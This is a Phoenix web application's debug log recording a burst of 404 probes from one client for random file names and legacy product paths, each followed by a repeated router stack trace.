    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:04.681000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet1843686184.htm
[Thu Sep  3 08:14:04.710000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet1843686184.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:07.244000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet1231929197.shtm
[Thu Sep  3 08:14:07.284000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet1231929197.shtm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:08.791000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38886] GET /
[Thu Sep  3 08:14:08.791000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:38886] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:14:08.792000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38886] Sent 200 in 927µs
[Thu Sep  3 08:14:09.373000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet414828155.shtml
[Thu Sep  3 08:14:09.399000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet414828155.shtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:11.299000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet321946442.jsp
[Thu Sep  3 08:14:11.314000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet321946442.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:13.143000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet529402116.jspx
[Thu Sep  3 08:14:13.162000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet529402116.jspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:14.997000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet953312499.php
[Thu Sep  3 08:14:15.016000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet953312499.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:17.548000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet76136685.php3
[Thu Sep  3 08:14:17.569000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet76136685.php3 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:17.698000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52060] GET /public/
[Thu Sep  3 08:14:17.714000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52060] ** (Phoenix.Router.NoRouteError) no route found for GET /public (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:21.523000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet600691158.php4
[Thu Sep  3 08:14:21.556000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet600691158.php4 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:24.308000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50466] GET /com/novell/webaccess/WebAccessUninstall.ini
[Thu Sep  3 08:14:24.325000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50466] ** (Phoenix.Router.NoRouteError) no route found for GET /com/novell/webaccess/WebAccessUninstall.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:26.018000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet996949962.php5
[Thu Sep  3 08:14:26.036000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet996949962.php5 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:29.307000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet1046654360.php6
[Thu Sep  3 08:14:29.330000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet1046654360.php6 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:31.325000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet1818947930.cfm
[Thu Sep  3 08:14:31.343000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet1818947930.cfm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:31.972000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50472] GET /servlet/webacc
[Thu Sep  3 08:14:31.995000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50472] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/webacc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:34.792000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48186] GET /portal
[Thu Sep  3 08:14:34.812000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48186] ** (Phoenix.Router.NoRouteError) no route found for GET /portal (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:38.434000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48200] GET /login
[Thu Sep  3 08:14:38.468000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48200] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
